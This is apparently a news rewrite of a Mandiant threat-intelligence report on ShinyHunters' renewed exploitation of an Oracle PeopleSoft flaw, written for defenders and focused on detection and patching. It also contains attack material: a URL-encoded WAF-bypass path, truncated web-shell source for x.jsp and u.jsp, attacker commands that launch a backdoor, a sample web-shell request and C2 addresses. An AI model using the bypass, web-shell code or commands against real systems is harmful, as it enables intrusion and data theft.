---
url: "https://www.xcademia.com/news/shinyhunters-bypasses-waf-defenses-in-renewed-oracle-peoplesoft-campaign"
title: ShinyHunters Bypasses WAF Defenses in Renewed Oracle PeopleSoft Campaign
description: "Mandiant warns of renewed ShinyHunters exploitation of Oracle PeopleSoft CVE-2026-35273 using a WAF bypass and post-exploitation tools."
publishedAt: "2026-09-26T09:11:13.658+00:00"
updatedAt: "2026-09-26T11:24:10.129598+00:00"
type: news
category: cybersecurity
source_name: Google Cloud Blog
source_url: "https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft"
tags:
  - "#Cybersecurity"
  - "#ThreatIntelligence"
  - "#OraclePeopleSoft"
  - "#ShinyHunters"
  - "#UNC6240"
  - "#CVE202635273"
  - "#WebShell"
  - "#Mandiant"
---

# ShinyHunters Bypasses WAF Defenses in Renewed Oracle PeopleSoft Campaign

> Mandiant says ShinyHunters has resumed mass exploitation of CVE-2026-35273 in Oracle PeopleSoft, using an encoded PSEMHUB path to bypass some WAF rules and deploying web shells, SIDEEYE and MeshCentral tooling.

Source: **Google Cloud Blog** · 26 September 2026

Mandiant and the Google Threat Intelligence Group (GTIG) have identified a renewed mass-exploitation campaign targeting **Oracle PeopleSoft** environments with **CVE-2026-35273**.

The activity is attributed to **UNC6240, also known as ShinyHunters**, the threat actor previously observed exploiting the vulnerability as a zero-day in attacks against higher education organizations during May and June 2026.

The latest campaign expands targeting across multiple sectors and introduces a significant change in how the vulnerable PeopleSoft endpoint is reached.

According to Mandiant, UNC6240 modified its exploitation approach to bypass certain web application firewall (WAF) rules designed to block the vulnerable **Environment Management Hub (EMHub)** endpoint.

The technique uses URL encoding to transform one character in the request path:

```
/PSEMHUB/
```

becomes:

```
/%50SEMHUB/
```

The `%50` sequence represents the character `P`.

Some WAF and reverse-proxy rules inspect the literal request path before URL decoding. PeopleSoft's application infrastructure can subsequently decode the path and route the request to the vulnerable servlet.

This means an organization could have deployed a literal `/PSEMHUB/` blocking rule and still have the vulnerable application endpoint reachable through a normalized equivalent.

Mandiant says the renewed campaign has resulted in web shells being deployed on dozens of systems globally across higher education, technology, IT services, healthcare, agriculture, transportation and government.

## 
The Most Important Defensive Message: WAF Blocking Is Not a Substitute for Patching

Mandiant's immediate guidance is straightforward: organizations running Oracle PeopleSoft should **apply the Oracle Security Alert patch for CVE-2026-35273**.

The report specifically warns that WAF rules and path-based blocking should not be considered a replacement for patching.

Organizations are also advised to:

- Disable the Environment Management Hub service in multi-server configurations.
- Remove the PSEMHUB application in single-server configurations where appropriate.
- Search WebLogic access logs for `/PSEMHUB/` and encoded variants such as `/%50SEMHUB/`.
- Investigate POST requests to `/hub`, particularly from external source addresses.
- Inspect the PSEMHUB application directory for unexpected JSP and executable files.
- Rotate credentials accessible to the PeopleSoft application service account.
- Monitor outbound traffic from PeopleSoft hosts for the network indicators identified by Mandiant.
- Check endpoints for unexpected MeshCentral agents.

The guidance reflects an important change in the threat model: defenders need to detect the **normalized destination and behavior**, not simply search for one literal URL string.

## 
From June Zero-Day to September N-Day Exploitation

The current campaign follows an earlier wave documented by Mandiant in June.

According to the report, UNC6240 exploited CVE-2026-35273 as a zero-day between **May 27 and June 9, 2026**, with higher education organizations representing the predominant target group.

Oracle released an out-of-band Security Alert on **June 10, 2026**.

Mandiant's earlier defensive guidance recommended patching and, where patching or disabling EMHub could not immediately be completed, restricting external access to `/PSEMHUB/*`.

The new campaign shows how threat actors adapted after those defensive measures became public.

Organizations that relied on literal path-based WAF rules without patching remained potentially exposed because the attacker could access the same application endpoint through a differently encoded path.

Mandiant therefore describes the latest activity as a transition from the original zero-day campaign into continued exploitation after defensive guidance became available.

## 
How the WAF Bypass Works

The bypass relies on a difference between how security infrastructure and the application process the URL.

A simplified representation is:

```
Attacker request
      |
      v
/%50SEMHUB/
      |
      v
WAF / Reverse Proxy
      |
      | Literal string does not match
      v
WebLogic / PeopleSoft
      |
      | URL decoded
      v
/PSEMHUB/
      |
      v
Vulnerable PSEMHUB servlet
```

The important character is `%50`.

In URL encoding, `%50` represents `P`.

Therefore:

```
/%50SEMHUB/
```

can be interpreted by the application as:

```
/PSEMHUB/
```

Mandiant says defenders should account for percent-encoded, mixed-case and other non-normalized variants of the vulnerable path and enforce blocking against the normalized path.

The practical defensive lesson is broader than this single string: security controls that inspect URLs should account for normalization differences between the security layer and the application layer.

### 

![info-1](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1790413601255-info-1--176-.webp)

## The Attack Lifecycle Mandiant Observed

Mandiant says the activity followed a relatively consistent sequence.

The observed lifecycle progressed from target verification to exploitation, web-shell deployment and hands-on-keyboard activity.

A simplified chain is:

**Target Verification → WAF Bypass → Exploitation → Web Shell → Payload Staging → Remote Access / C2 → Discovery and Potential Data Theft**

Each stage leaves different evidence for defenders.

## 
Stage 1: Target Verification

Before exploitation, targeted servers typically received **five to 15 POST requests** to:

```
/%50SEMHUB/hub
```

The requests contained a serialized Java object.

According to Mandiant, an unpatched server responds with information about the host operating system without necessarily writing files or disrupting the service.

This allows the threat actor to determine whether the target appears exploitable.

For defenders, this creates an important distinction.

A suspicious request to the encoded endpoint does not necessarily mean that a web shell was successfully installed. Mandiant says some validated systems showed the request without subsequent exploitation activity.

That makes these requests useful as early indicators for investigation.

## 
Stage 2: Exploitation

Mandiant observed two exploitation methods.

### Web Shell Deployment

The first method involved sending multiple POST requests to the vulnerable endpoint followed by the creation of JSP files inside the `PSEMHUB.war` directory.

Observed filenames included:

```
x.jsp
```

and sequentially numbered JSP files.

Mandiant says repeated exploitation may have been used to ensure that web shells reached different nodes behind load balancers.

This means defenders should inspect **all WebLogic nodes**, rather than assuming that finding a compromised file on one node represents the full extent of the intrusion.

### Fileless Command Execution

The second method did not require writing a JSP web shell to disk.

Mandiant observed POST requests to the vulnerable endpoint that returned command output directly in the HTTP response.

On the affected host, this activity can appear as shell processes such as:

```
cmd.exe
```

or:

```
/bin/sh
```

being spawned by the WebLogic Java process.

This distinction is important for detection.

A security program that only searches for newly created JSP files could miss exploitation that executes commands without leaving the same filesystem artifacts.

## 
The x.jsp Web Shell

Mandiant identified a primary JSP web shell named `x.jsp`.

The shell provides cross-platform command execution.

The source says it accepts commands through an HTTP POST parameter named `c`, with an optional timeout parameter named `t`.

The command is hex-decoded before execution. The shell then determines whether it is running on Windows or Linux and launches the appropriate command interpreter.

The source code provided by Mandiant is reproduced below in formatted form:

```
 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else {
      try { p.exitValue(); break; }
      catch (IllegalThreadStateException e2) {
        try { Thread.sleep(40); } catch (Exception e3) {}
      }
    }
  }
  while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  out.print("R:" + sb.toString());
}
%>
```

**What the code demonstrates:** the JSP accepts a hex-encoded command, reconstructs it, selects a Windows or Linux command interpreter and returns command output. The code is included as published by Mandiant, without adding functionality or modifying the implementation.

## 
The u.jsp File-Staging Web Shell

The second servlet identified by Mandiant is `u.jsp`, along with an offset-based variant called `u2.jsp`.

Its role is different from `x.jsp`.

Rather than primarily executing commands, the servlet can decode Base64-encoded file chunks and write or append them to a specified path.

Mandiant says the threat actor used this mechanism to stage larger binaries in chunks.

The source describes chunks of approximately **150 KB**, helping avoid HTTP request-size limitations and PeopleSoft's native file chunking handlers.

The supplied source code is:

```
 0) {
        k = i.read(buf);
        if (k > 0) sb.append(new String(buf, 0, k));
      } else {
        try { p.exitValue(); break; }
        catch (Exception e2) { Thread.sleep(30); }
      }
    }
    out.print("R:" + sb.toString());
  } catch (Exception e) {
    out.print("X:" + e);
  }
}
%>
```

**What the code demonstrates:** `u.jsp` decodes supplied Base64 data and writes it to a specified path, with an additional command-execution path on Windows. The implementation is reproduced from the source and has not been expanded or modified.

## 
Ple64.exe Delivers the SIDEEYE Backdoor

On compromised Windows servers, Mandiant observed the threat actor using `u.jsp` and `u2.jsp` to upload a **5.2 MB** binary named:

```
Ple64.exe
```

The binary is tracked as **SIDEEYE**.

Mandiant says the file masqueraded as a signed installer for the Light Alloy media player.

Analysis showed that the executable was instead a trojanized installer containing a three-stage execution chain.

The analyzed sample had a valid Extended Validation certificate issued to **Tobias Weihmann Software Development OU** through Sectigo. GTIG said it contacted Sectigo regarding certificate revocation.

### Three-Stage Execution Chain

The execution sequence described by Mandiant is:

**Stage 1: Ple64.exe**

The initial executable decompresses and loads a protected second-stage launcher into memory.

**Stage 2: Protected Launcher**

The second stage is protected with **VMProtect 3** and decrypts additional data embedded in the executable.

**Stage 3: SIDEEYE**

The final stage is a C++ backdoor loaded into memory.

Mandiant says SIDEEYE communicates with its command-and-control server over raw TCP using separate control and data ports:

```
C2: 162[.]219[.]30[.]165
Control: TCP/3333
Data: TCP/3334
```

Initial analysis indicates that SIDEEYE supports:

- Browser and desktop application credential theft
- Process and file management
- Interactive reverse shell functionality
- Reverse proxy capabilities

### Verifying Ple64.exe Execution

Mandiant observed the threat actor verifying the uploaded file and its execution with commands reproduced below:

```
dir applications\peoplesoft\PSEMHUB.war\Ple64.exe
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe
tasklist | findstr /i Ple64
```

These commands were used to check the file, verify its size, launch the executable in the background and confirm that the process remained active.

## 
Neo-reGeorg Adds a Tunneling Layer

Mandiant also observed the deployment of **Neo-reGeorg**, an open-source tunneling toolkit.

The threat actor deployed:

```
tunnel.jsp
tunnel.jspx
```

into victim web directories.

According to Mandiant, the tooling can route SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier.

That gives an intruder a mechanism for interacting with internal resources from a compromised PeopleSoft host.

From a defensive perspective, unexpected tunneling components in PeopleSoft web directories are therefore important indicators of post-exploitation activity.

## 
MeshAgent Provides Another Route to Persistence

On Linux systems, UNC6240 also deployed the legitimate **MeshAgent** remote management component after placing web shells.

Mandiant says earlier intrusions in May and July 2026 involved unencrypted agent binaries and configuration files placed under `/tmp` using the PeopleSoft service account.

The reported filenames were:

```
meshagent
meshagent.msh
meshagent.db
```

The actor used infrastructure designed to resemble Microsoft-related services, including:

```
azurenetfiles.net
microsoft-entra.net
enroll.azuredevice.cloud
```

In September activity, Mandiant identified additional IT-themed infrastructure associated with MeshAgent:

```
winmanage-me.network
```

resolving to:

```
104.219.234.138
```

Mandiant notes that MeshCentral is a legitimate open-source remote management platform, but threat actors can abuse it to maintain interactive access to compromised systems.

### 

![info-2](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1790413580138-info-2--158-.webp)

## Post-Exploitation Activity Reached High-Privilege Accounts

Mandiant reports that approximately **one quarter of the observed commands** executed with either:

```
root
```

or:

```
NT Authority\SYSTEM
```

These privileges provide extensive control over the affected operating system.

The remaining commands were executed under PeopleSoft or WebLogic service accounts.

Those accounts could still provide access to sensitive resources, including:

- PeopleSoft configuration files
- Database connection strings
- Application data

The distinction matters because compromise does not require root or SYSTEM privileges to become significant.

A compromised application service account may already have access to credentials and data that can facilitate further intrusion or data theft.

## 
What the Threat Actor Was Looking For

Mandiant grouped observed web-shell commands into several categories.

### Host and User Discovery

Commands included:

```
hostname
whoami
```

These can identify the affected system and the account under which activity is executing.

### Process Verification

The actor also used process listings such as:

```
tasklist
```

to verify whether deployed payloads were running.

### Example Web Shell Request

Mandiant provides the following example:

```
GET /%50SEMHUB/.jsp?c=id;hostname;uname+-a HTTP/1.1
```

The example demonstrates how the encoded PSEMHUB path could appear in web logs alongside a request to a deployed web shell.

For defenders, this makes access logs a valuable source of evidence when investigating suspected exploitation.

## 
Detection Needs to Go Beyond JSP File Creation

One of the most important defensive observations in the report is that no single indicator is sufficient.

A defender who searches only for:

```
x.jsp
```

could miss fileless command execution.

A defender who searches only for:

```
/PSEMHUB/
```

could miss the encoded:

```
/%50SEMHUB/
```

A defender who checks only one WebLogic node could miss web shells replicated to other nodes behind a load balancer.

Mandiant's observations therefore point toward layered detection across:

**Web requests + process activity + filesystem changes + credentials + outbound network traffic**

This approach is particularly important for application servers because malicious activity can blend into legitimate application behavior.

## 
Evidence of Potential Data Theft

Mandiant recommends hunting for evidence that attackers moved beyond initial access and post-exploitation activity into data theft.

Organizations should review PeopleSoft and database systems for unusually large archive files, including:

```
.tar
.tar.gz
.zst
```

The report also recommends looking for processes associated with:

```
tar
zstd
rsync
sshpass
curl
```

when spawned by PeopleSoft or WebLogic service accounts.

Database audit logs should also be reviewed for bulk queries or exports involving sensitive records, including:

- HR records
- Payroll records
- Student records

Network logs can provide another layer of evidence, particularly large or sustained outbound transfers from PeopleSoft infrastructure.

Mandiant specifically calls out:

```
rsync - TCP 873
SSH
HTTP POST
```

alongside traffic to the network indicators listed in its report.

## 
Extortion Is Another Concern

Mandiant says UNC6240 has an established pattern of **data theft extortion**, where stolen information can be used to pressure victims by threatening publication on a data leak site.

Organizations that identify evidence of compromise should therefore consider not only remediation and containment but also the possibility that sensitive information was accessed or removed.

The source recommends preparing for potential extortion communications and monitoring for public exposure of stolen information.

## 
Remediation and Hardening Guidance

### 1. Patch CVE-2026-35273

The highest-priority action is to apply the Oracle Security Alert patch for the vulnerability.

Mandiant explicitly states that WAF rules and path-based blocking are not substitutes for patching.

### 2. Disable or Remove EMHub Where Appropriate

Organizations should disable the Environment Management Hub service in multi-server configurations when it is not required.

For single-server configurations, Mandiant points to removing the PSEMHUB application in accordance with Oracle's guidance.

### 3. Review WebLogic Access Logs

Search for:

```
/PSEMHUB/
```

and encoded variants such as:

```
/%50SEMHUB/
```

Also look for:

```
POST /hub
```

and unexpected `.jsp` or `.jspx` requests originating from external sources.

### 4. Inspect the PSEMHUB.war Directory

Mandiant recommends inspecting:

```
/webserv//applications/peoplesoft/PSEMHUB.war/
```

for unexpected files.

Particular filenames identified in the campaign include:

```
x.jsp
u.jsp
tunnel.jsp
tunnel.jspx
Ple64.exe
```

### 5. Rotate Accessible Credentials

Organizations should rotate credentials that could be read by the PeopleSoft application service account.

Mandiant specifically mentions:

```
psappsrv.cfg
```

as well as Integration Broker credentials and cloud credentials accessible from the web tier.

### 6. Monitor Outbound Traffic

Review outbound connections from PeopleSoft systems against the network indicators identified by Mandiant.

Unexpected MeshCentral agents should also be investigated.

### 7. Treat Web Shell Discovery as a Compromise

If a web shell is discovered, Mandiant recommends treating the affected host as compromised, preserving evidence and rotating credentials accessible from the PeopleSoft tier.

The source gives particular priority to systems where WebLogic runs with:

```
root
```

or:

```
SYSTEM
```

privileges.

### 

![info-3](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1790413529363-info-3--148-.webp)

## Indicators of Compromise

Mandiant provides network, host and file indicators to help organizations hunt for the activity.

### Network Indicators

Indicator

Type

Description

`5.199.162.157`

IPv4

Attack controller, scanner and HTTP callback receiver

`104.219.234.138`

IPv4

Exfiltration staging and remote management host

`162.219.30.165`

IPv4

C2 for SIDEEYE backdoor

`winmanage-me.network`

Domain

Staging host and MeshCentral infrastructure

Mandiant says additional indicators are available through a Google Threat Intelligence collection for registered users.

### Host Indicators

```
/webserv//applications/peoplesoft/PSEMHUB.war/x.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/u.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/Ple64.exe
/webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jspx
```

The report also identifies the following URI pattern:

```
/%50SEMHUB/
```

Mandiant advises defenders to account for percent-encoded, mixed-case and other non-normalized variants of the vulnerable `/PSEMHUB/` path.

### File Indicators

File

SHA-256

Description

`x.jsp`

`48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494`

Primary execution web shell. Hashes may vary due to extra newline characters.

`u.jsp`

`2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7`

Execution stager servlet

`tunnel.jsp`

`419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86`

Neo-reGeorg JSP tunnel. Hashes may vary by key used.

`tunnel.jspx`

`ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07`

Neo-reGeorg JSPX tunnel. Hashes may vary by key used.

`Ple64.exe`

`3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3`

Trojanized installer delivering SIDEEYE

These indicators are reproduced from the Mandiant report.

## 
Google Security Operations Detection Rules

Google says customers of **Google Security Operations** will have access to detection rules through the Mandiant Frontline Threats rule pack.

The listed rules include:

- Oracle PeopleSoft Configuration Inspection
- Sshpass Interactive File Deployment
- Data Archiving or Compression via Zstd Utility
- MeshCentral Command Execution via Meshctrl

Mandiant also lists a pending rule for:

- Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory

The rules are designed to support detection of activity associated with the campaign's post-exploitation behaviors.

## 
Why This Campaign Matters

The renewed PeopleSoft campaign illustrates how quickly defensive guidance can become part of an attacker's adaptation cycle.

The original campaign led defenders toward perimeter controls around the vulnerable PSEMHUB endpoint. UNC6240 subsequently modified its requests to reach the same application through an encoded representation of the path.

That creates a broader lesson for enterprise security teams.

**Blocking one representation of a vulnerable endpoint is not equivalent to removing the vulnerability.**

The campaign also demonstrates why application-layer monitoring needs to be combined with host and network telemetry.

The observed activity spans:

**Web Requests → Java Deserialization → JSP Web Shells → Command Execution → Payload Staging → Tunneling → Remote Management → Potential Data Theft**

Each stage creates different evidence.

Organizations that monitor only one layer can therefore miss parts of the intrusion chain.

## 
The Broader Security Takeaway

The announcement highlights a broader industry shift toward attackers actively adapting to defensive controls rather than simply repeating the original exploitation path.

For organizations running Oracle PeopleSoft, the immediate issue is CVE-2026-35273 and the continued exposure of the PSEMHUB endpoint.

But the defensive lesson extends beyond PeopleSoft.

Security controls need to understand how applications normalize requests, how proxies interpret paths and how endpoint processes behave after exploitation.

The renewed campaign also shows why patching remains fundamentally different from perimeter filtering.

A WAF can reduce exposure to a known request pattern. It does not remove vulnerable application code.

Mandiant's recommendation is therefore clear: patch the vulnerability, reduce unnecessary exposure, investigate historical activity and rotate credentials when compromise is suspected.

## 
Conclusion

Mandiant and GTIG have identified a renewed ShinyHunters campaign exploiting **CVE-2026-35273** against Oracle PeopleSoft environments across multiple sectors.

The campaign modifies the original exploitation approach by using the URL-encoded path:

```
/%50SEMHUB/
```

to bypass some literal WAF and reverse-proxy rules protecting:

```
/PSEMHUB/
```

Once inside, Mandiant observed web shells, fileless command execution, the SIDEEYE backdoor delivered through `Ple64.exe`, Neo-reGeorg tunneling and MeshAgent-based remote access.

The activity demonstrates why organizations should not rely on a single URL block or a single detection artifact.

For PeopleSoft operators, the priority is to patch **CVE-2026-35273**, disable or remove EMHub where appropriate, search for normalized and encoded PSEMHUB requests, inspect application directories, investigate suspicious processes and rotate credentials accessible from compromised systems.

The campaign also provides a broader reminder for defenders: when attackers understand how security controls normalize traffic, they can sometimes adapt the representation of an attack without changing its underlying destination.

## Original source

https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft

## Tags

`#Cybersecurity` · `#ThreatIntelligence` · `#OraclePeopleSoft` · `#ShinyHunters` · `#UNC6240` · `#CVE202635273` · `#WebShell` · `#Mandiant`

---

## About this content

This Markdown news article is the citation-grade twin of [ShinyHunters Bypasses WAF Defenses in Renewed Oracle PeopleSoft Campaign](https://www.xcademia.com/news/shinyhunters-bypasses-waf-defenses-in-renewed-oracle-peoplesoft-campaign). It is published by **Xcademia** (UK Companies House 12322710) and is available for AI search engines and large language models to index, summarise, and cite.

When citing or quoting, please attribute *Xcademia* and link back to the source URL above.

- Source: https://www.xcademia.com/news/shinyhunters-bypasses-waf-defenses-in-renewed-oracle-peoplesoft-campaign
- Publisher: Xcademia — https://www.xcademia.com
- Catalogue index: https://www.xcademia.com/llms-full.txt